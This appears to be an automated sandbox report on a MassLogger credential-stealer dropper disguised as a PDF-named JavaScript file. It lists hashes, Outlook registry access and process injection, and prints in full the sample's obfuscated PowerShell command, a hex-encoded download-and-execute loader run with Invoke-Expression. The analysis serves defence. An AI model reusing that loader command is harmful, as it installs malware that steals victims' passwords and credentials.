Analysis
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max time kernel
135s -
max time network
117s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21-08-2024 22:01
Static task
static1
Behavioral task
behavioral1
Sample
specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js
Resource
win10v2004-20240802-en
General
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Target
specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js
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Size
3KB
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MD5
ea79f170b2f7531f6aae0190cfac32d3
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SHA1
06a49ce472f34b717e2ef5ea2fe758b36bbeaf8a
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SHA256
8f0a1868051989d74f2a968a6f326c7ad3c442b4d1b90933a93e3851bebc26a4
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SHA512
9a79ca5c74671dca4fdf607fdbd67b1f42afac4239f5de83499cb8e70fd971a9a4c976599baeebb3e060f31229021d6f9110693ed0fd8d6237b2d4eedca94b4b
Malware Config
Signatures
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MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
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MassLogger Main payload 1 IoCs
resource yara_rule behavioral2/memory/3688-21-0x0000000000400000-0x0000000000486000-memory.dmp family_masslogger -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4380 3060 Powershell.exe 84 -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Blocklisted process makes network request 2 IoCs
flow pid Process 10 4380 Powershell.exe 12 4380 Powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook InstallUtil.exe Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4380 set thread context of 3688 4380 Powershell.exe 97 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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pid Process 4380 Powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4380 Powershell.exe 4380 Powershell.exe 3688 InstallUtil.exe 3688 InstallUtil.exe 3688 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 4380 Powershell.exe Token: SeIncreaseQuotaPrivilege 4380 Powershell.exe Token: SeSecurityPrivilege 4380 Powershell.exe Token: SeTakeOwnershipPrivilege 4380 Powershell.exe Token: SeLoadDriverPrivilege 4380 Powershell.exe Token: SeSystemProfilePrivilege 4380 Powershell.exe Token: SeSystemtimePrivilege 4380 Powershell.exe Token: SeProfSingleProcessPrivilege 4380 Powershell.exe Token: SeIncBasePriorityPrivilege 4380 Powershell.exe Token: SeCreatePagefilePrivilege 4380 Powershell.exe Token: SeBackupPrivilege 4380 Powershell.exe Token: SeRestorePrivilege 4380 Powershell.exe Token: SeShutdownPrivilege 4380 Powershell.exe Token: SeDebugPrivilege 4380 Powershell.exe Token: SeSystemEnvironmentPrivilege 4380 Powershell.exe Token: SeRemoteShutdownPrivilege 4380 Powershell.exe Token: SeUndockPrivilege 4380 Powershell.exe Token: SeManageVolumePrivilege 4380 Powershell.exe Token: 33 4380 Powershell.exe Token: 34 4380 Powershell.exe Token: 35 4380 Powershell.exe Token: 36 4380 Powershell.exe Token: SeIncreaseQuotaPrivilege 4380 Powershell.exe Token: SeSecurityPrivilege 4380 Powershell.exe Token: SeTakeOwnershipPrivilege 4380 Powershell.exe Token: SeLoadDriverPrivilege 4380 Powershell.exe Token: SeSystemProfilePrivilege 4380 Powershell.exe Token: SeSystemtimePrivilege 4380 Powershell.exe Token: SeProfSingleProcessPrivilege 4380 Powershell.exe Token: SeIncBasePriorityPrivilege 4380 Powershell.exe Token: SeCreatePagefilePrivilege 4380 Powershell.exe Token: SeBackupPrivilege 4380 Powershell.exe Token: SeRestorePrivilege 4380 Powershell.exe Token: SeShutdownPrivilege 4380 Powershell.exe Token: SeDebugPrivilege 4380 Powershell.exe Token: SeSystemEnvironmentPrivilege 4380 Powershell.exe Token: SeRemoteShutdownPrivilege 4380 Powershell.exe Token: SeUndockPrivilege 4380 Powershell.exe Token: SeManageVolumePrivilege 4380 Powershell.exe Token: 33 4380 Powershell.exe Token: 34 4380 Powershell.exe Token: 35 4380 Powershell.exe Token: 36 4380 Powershell.exe Token: SeDebugPrivilege 3688 InstallUtil.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 PID 4380 wrote to memory of 3688 4380 Powershell.exe 97 -
outlook_office_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe -
outlook_win_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 InstallUtil.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js1⤵PID:4776
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -ExecutionPolicy Bypass $WtsGi='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!72!D2!72!02!47!96!C6!07!37!D2!02!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!13!13!44!F2!27!76!E2!37!96!46!96!E6!96!46!16!46!16!B6!96!47!37!96!47!07!16!67!E2!27!56!47!47!56!C6!37!77!56!E6!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!35!46!16!F6!C6!E6!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$WtsGi.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`x1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3688
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82